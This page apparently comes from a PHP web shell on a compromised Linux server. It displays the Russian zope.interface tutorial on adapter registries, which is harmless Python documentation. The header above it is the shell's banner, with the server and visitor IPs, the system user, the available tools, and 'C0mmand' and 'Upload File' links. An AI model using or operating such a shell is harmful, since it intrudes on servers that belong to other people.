Server IP : 213.176.29.180 / Your IP : 3.145.106.176 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib/../share/tk8.6/../doc/libpipeline/../libusbx/../python3-zope-interface/docs/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
=============================== Использование реестра адаптеров =============================== Данный документ содержит небольшую демонстрацию пакета ``zope.interface`` и его реестра адаптеров. Документ рассчитывался как конкретный, но более узкий пример того как использовать интерфейсы и адаптеры вне Zope 3. Сначала нам необходимо импортировать пакет для работы с интерфейсами:: >>> import zope.interface Теперь мы разработаем интерфейс для нашего объекта - простого файла. Наш файл будет содержать всего один атрибут - body, в котором фактически будет сохранено содержимое файла:: >>> class IFile(zope.interface.Interface): ... ... body = zope.interface.Attribute(u'Содержимое файла.') ... Для статистики нам часто необходимо знать размер файла. Но было бы несколько топорно реализовывать определение размера прямо для объекта файла, т.к. размер больше относится к мета-данным. Таким образом мы создаем еще один интерфейс для представления размера какого-либо объекта:: >>> class ISize(zope.interface.Interface): ... ... def getSize(): ... 'Return the size of an object.' ... Теперь мы должны создать класс реализующий наш файл. Необходимо что бы наш объект хранил информацию о том, что он реализует интерфейс `IFile`. Мы также создаем атрибут с содержимым файла по умолчанию (для упрощения нашего примера):: >>> class File(object): ... ... zope.interface.implements(IFile) ... body = 'foo bar' ... Дальше мы создаем адаптер, который будет предоставлять интерфейс `ISize` получая любой объект предоставляющий интерфейс `IFile`. По соглашению мы используем атрибут `__used_for__` для указания интерфейса который как мы ожидаем предоставляет адаптируемый объект, `IFile` в нашем случае. На самом деле этот атрибут используется только для документирования. В случае если адаптер используется для нескольких интерфейсов можно указать их все в виде кортежа. Опять же по соглашению конструктор адаптера получает один аргумент - context (контекст). В нашем случае контекст - это экземпляр `IFile` (объект, предоставляющий `IFile`) который используется для получения из него размера. Так же по соглашению контекст сохраняется а адаптере в атрибуте с именем `context`. Twisted комьюнити ссылается на контекст как на объект `original`. Таким образом можно также дать аргументу любое подходящее имя, например `file`:: >>> class FileSize(object): ... ... zope.interface.implements(ISize) ... __used_for__ = IFile ... ... def __init__(self, context): ... self.context = context ... ... def getSize(self): ... return len(self.context.body) ... Теперь когда мы написали наш адаптер мы должны зарегистрировать его в реестре адаптеров, что бы его можно было запросить когда он понадобится. Здесь нет какого-либо глобального реестра адаптеров, таким образом мы должны самостоятельно создать для нашего примера реестр:: >>> from zope.interface.adapter import AdapterRegistry >>> registry = AdapterRegistry() Реестр содержит отображение того, что адаптер реализует на основе другого интерфейса который предоставляет объект. Поэтому дальше мы регистрируем адаптер который адаптирует интерфейс `IFile` к интерфейсу `ISize`. Первый аргумент к методу `register()` реестра - это список адаптируемых интерфейсов. В нашем случае мы имеем только один адаптируемый интерфейс - `IFile`. Список интерфейсов имеет смысл для использования концепции мульти-адаптеров, которые требуют нескольких оригинальных объектов для адаптации к новому интерфейсу. В этой ситуации конструктор адаптера будет требовать новый аргумент для каждого оригинального интерфейса. Второй аргумент метода `register()` - это интерфейс который предоставляет адаптер, в нашем случае `ISize`. Третий аргумент - имя адаптера. Сейчас нам не важно имя адаптера и мы передаем его как пустую строку. Обычно имена полезны если используются адаптеры для одинакового набора интерфейсов, но в различных ситуациях. Последний аргумент - это класс адаптера:: >>> registry.register([IFile], ISize, '', FileSize) Теперь мы можем использовать реестр для запроса адаптера:: >>> registry.lookup1(IFile, ISize, '') <class '__main__.FileSize'> Попробуем более практичный пример. Создадим экземпляр `File` и создадим адаптер использующий запрос реестра. Затем мы увидим возвращает ли адаптер корректный размер при вызове `getSize()`:: >>> file = File() >>> size = registry.lookup1(IFile, ISize, '')(file) >>> size.getSize() 7 На самом деле это не очень практично, т.к. нам нужно самим передавать все аргументы методу запроса. Существует некоторый синтаксический леденец который позволяет нам получить экземпляр адаптера просто вызвав `ISize(file)`. Что бы использовать эту функциональность нам понадобится добавить наш реестр к списку adapter_hooks, который находится в модуле с адаптерами. Этот список хранит коллекцию вызываемых объектов которые вызываются автоматически когда вызывается IFoo(obj); их предназначение - найти адаптеры которые реализуют интерфейс для определенного экземпляра контекста. Необходимо реализовать свою собственную функцию для поиска адаптера; данный пример описывает одну из простейших функций для использования с реестром, но также можно реализовать поисковые функции которые, например, используют кэширование, или адаптеры сохраняемые в базе. Функция поиска должна принимать желаемый на выходе интерфейс (в нашем случае `ISize`) как первый аргумент и контекст для адаптации (`file`) как второй. Функция должна вернуть адаптер, т.е. экземпляр `FileSize`:: >>> def hook(provided, object): ... adapter = registry.lookup1(zope.interface.providedBy(object), ... provided, '') ... return adapter(object) ... Теперь мы просто добавляем нашу функцию к списку `adapter_hooks`:: >>> from zope.interface.interface import adapter_hooks >>> adapter_hooks.append(hook) Как только функция зарегистрирована мы можем использовать желаемый синтаксис:: >>> size = ISize(file) >>> size.getSize() 7 После нам нужно прибраться за собой, что бы другие получили чистый список `adaper_hooks` после нас:: >>> adapter_hooks.remove(hook) Это все. Здесь намеренно отложена дискуссия об именованных и мульти-адаптерах, т.к. данный текст рассчитан как практическое и простое введение в интерфейсы и адаптеры Zope 3. Для более подробной информации имеет смысл прочитать `adapter.txt` из пакета `zope.interface`, что бы получить более формальное, справочное и полное трактование пакета. Внимание: многие жаловались, что `adapter.txt` приводит их мозг к расплавленному состоянию!